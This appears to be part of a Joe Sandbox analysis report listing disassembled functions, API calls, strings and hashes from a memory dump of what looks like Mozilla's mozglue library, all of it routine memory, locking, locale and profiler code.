free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C36DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF32

Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DB86
Part of subcall function 6C36DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C36DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C35DEFD,?,6C324A68), ref: 6C36DF65
free.MOZGLUE(?), ref: 6C36DF80

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction ID: 0ede4b0eb53d5d3466d89bc48e2652bf04df85f20109b9c2b079211068a76b61
Opcode Fuzzy Hash: 1cb5893ce665560e0f77b0d91e6ef36d1a6d0acbd8f797ff3fc20a3c5d3dd4d6
Instruction Fuzzy Hash: 3951E7766017109BD7109F2AD8806EEB3B6BF95308FA5051CD89A57F04DB32F819CF92

Function 6C375D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375DC9
std::_Facet_Register.LIBCPMT ref: 6C375DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C375C8C,?,6C34E829), ref: 6C375E45

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction ID: c13dc97cc5648fc43a708a2da498cffbb8f868fae64557655b6483b24a3b4188
Opcode Fuzzy Hash: 5314b8c0c22c26e142af92377a023d009416ff1bda16289d7791228f17900861
Instruction Fuzzy Hash: 504171307002058FDB24DF65C9D8AAE77B9EF49358F14406CE50A9B791EB36D805CF65

Function 6C34CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C3131A7), ref: 6C34CDDD

Strings

<jemalloc>, xrefs: 6C34CF9F, 6C34CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C34CFA4, 6C34CFB8

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction ID: b44c12cdad75bba459ec4a2d3ffc850b63f5c54af54b90e718ef6b36d24f207e
Opcode Fuzzy Hash: 87e5fdffce5b51d320bc58cd3a9da5891091f223910296965824a370664550ae
Instruction Fuzzy Hash: 1131E630B442155BEF10AEA59C45FAE7BF9BB41B5DF308014F611AFA80EB76D4488FA1

Function 6C31ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C31ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C31EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C31EDCC
CreateFileW.KERNEL32 ref: 6C31EE08
free.MOZGLUE(00000000), ref: 6C31EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C31EE32

Part of subcall function 6C31EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C31EBB5
Part of subcall function 6C31EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C34D7F3), ref: 6C31EBC3
Part of subcall function 6C31EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C34D7F3), ref: 6C31EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C31EDC1

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction ID: 7b389d2fc62df0bf788bfc67ccaf50a6de8bff69e3e722f2a39556bfc7823d6e
Opcode Fuzzy Hash: d16fe03eae0be41c313499c06d31b26ca8e9d0b48cc6316922dc1caecf96028e
Instruction Fuzzy Hash: 1851B071D093048FDB049F68D8446EEB7B4AF49318F44852DE8956BF40E7366988CFE2

Function 6C38A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A565

Part of subcall function 6C38A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C38A4BE
Part of subcall function 6C38A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C38A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C38A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C38A6B6

Strings

z, xrefs: 6C38A6AE
0, xrefs: 6C38A5FB

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
Instruction ID: 87c508578c5774022e8fdd4927ff58e1d237ae2ad19804a667870f7ec9ba3911
Opcode Fuzzy Hash: cc538df95292cc6400bfd4cb4d045868ecf648065435d3239418ac546df2a35c
Instruction Fuzzy Hash: F24117719097499FC341DF28C080A8BBBE5BF89358F408A2EF49987694EB30D549CF93

Function 6C359420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
__Init_thread_footer.LIBCMT ref: 6C35949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C35946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C359459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C35947D

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction ID: 69ab5ff822c523ad5ad85cece3292d6275475b0e323c129fd0c94d01f954376b
Opcode Fuzzy Hash: f21ae282422cb303c3de158cb4fa1175b327758f26c168c8b613908c88366e21
Instruction Fuzzy Hash: 970175B0A0020287DB00DF5CE815AC633BEAB0932DF144536ED0686B51F637D8768E57

Function 6C360F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C360F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C360F88
GetCurrentThreadId.KERNEL32 ref: 6C360FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C361067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C3610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C36114B

Part of subcall function 6C358AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C371563), ref: 6C358BD5

free.MOZGLUE(?), ref: 6C361174
free.MOZGLUE(?), ref: 6C361186

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction ID: da65802ad79560f82c8a80a616b542c303fb5d4f77c1fa50f574a6bb5ecfa2f7
Opcode Fuzzy Hash: 318d17f680d249172c13b91ab0bc0a9b11fb7e1b5ced5eea893177fa1050bb82
Instruction Fuzzy Hash: A161B375A043409BDB10CF26D980B9AB7F9BFC5308F04891DE99947B15EB32E549CF92

Function 6C31B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6AC

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C31B61E), ref: 6C31B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C31B61E,?,?,?,?,?,00000000), ref: 6C31B79A

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction ID: a042d4049709aa948965fbf8e3c3873ce6e058a6b5313ca954c8514283f0e5e8
Opcode Fuzzy Hash: e4bd762193299997f013e96d2f09836397728edf308385417da3d48f1a6ba43b
Instruction Fuzzy Hash: 2541C3F2D041158FCB04DF68DC805AEB7B9BF54328F250629E825EBB80E731E9048BE1

Function 6C31EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C395104), ref: 6C31EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31EFEC
free.MOZGLUE(?), ref: 6C31F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C31F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C31F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F065
moz_xmalloc.MOZGLUE ref: 6C31F072

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction ID: f5d434339fbd4e71da6077ea18142b7b857f2219ee03b51f3c6bf37af289dc58
Opcode Fuzzy Hash: 2b4d41914557d5ab5715dd26eb822aefc8f6f73a6e61af3697f8281cb78f0aa5
Instruction Fuzzy Hash: 6E41E9B1A042159FCB08CF68D8819EE7769BF98314B24022CE915DBB94EB71E915CBE1

Function 6C38B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C38B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C38B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C38B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C38B5F4
__Init_thread_footer.LIBCMT ref: 6C38B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C38B61F
std::_Facet_Register.LIBCPMT ref: 6C38B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C38B655

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction ID: 86b7fa5f4454a5288ac498650b8351fc3ab33431175f667094d3b799803a9a18
Opcode Fuzzy Hash: ebfe643b7ee91b4b6e0e814396589069e02381be71abb5eb0d058e8f1168190a
Instruction Fuzzy Hash: 5D31A771B00205CBCF10DF69C8949AEB7B9FF89329B140519E9469B790EB72A906CFD1

Function 6C356590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C3567C8

Part of subcall function 6C364290: memcpy.VCRUNTIME140(?,?,6C372003,6C370AD9,?,6C370AD9,00000000,?,6C370AD9,?,00000004,?,6C371A62,?,6C372003,?), ref: 6C3642C4

Strings

data, xrefs: 6C356593
v9l, xrefs: 6C35696C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$v9l
API String ID: 511789754-402983418
Opcode ID: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction ID: ccb76e3161fc9bfa427d9f83221aa7a41766473d359d8c98fc208c19d27e1789
Opcode Fuzzy Hash: d16da3927c395348d073d16432a6be1aa171da713fc2b7c435d7eccdd4993453
Instruction Fuzzy Hash: EED1BEB5A093408FD724DF25C850B9AB7F5AFC5308F50492EE58A87B91EB31A819CF53

Function 6C34D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C31EB57,?,?,?,?,?,?,?,?,?), ref: 6C34D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C31EB57,?), ref: 6C34D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C31EB57,?), ref: 6C34D673
free.MOZGLUE(?), ref: 6C34D888

Strings

|Enabled, xrefs: 6C34D81E
W1l, xrefs: 6C34D5D9, 6C34D63F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W1l$|Enabled
API String ID: 4142949111-4121297857
Opcode ID: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction ID: d4c815c85e8f94029557091c3d1501a7a97fe01f20a379f74556d9609c5ace44
Opcode Fuzzy Hash: 4c467a761a218f0b8506e3092f306a32efbeaf3aa16bd70dc60f280c2a734f91
Instruction Fuzzy Hash: 11A104B0A043448FDB01CF69C4907EEBBF5AF49318F18805CD889ABB41D736A945CFA1

Function 6C329830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C377ABE), ref: 6C32985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C377ABE), ref: 6C3298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C329909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C329918
free.MOZGLUE(?), ref: 6C329975

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction ID: 9d047e53b9214b7bbe0f4890cacd5e37ea0a8cae44b480e730e70e065421d3e1
Opcode Fuzzy Hash: 2d23f330f52a8eb0e3eb7694ba28c60132dccbef060b2bbd1346f6a7db2f9012
Instruction Fuzzy Hash: A8718A746007058FCB25CF28C480956B7F5FF4A3287244AA9E89A8BB90D776F845CFA1

Function 6C32B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE), ref: 6C32B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C36CC83,?,?,?,?,?,?,?,?,?,6C36BCAE,?,?,6C35DC2C), ref: 6C32B896

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

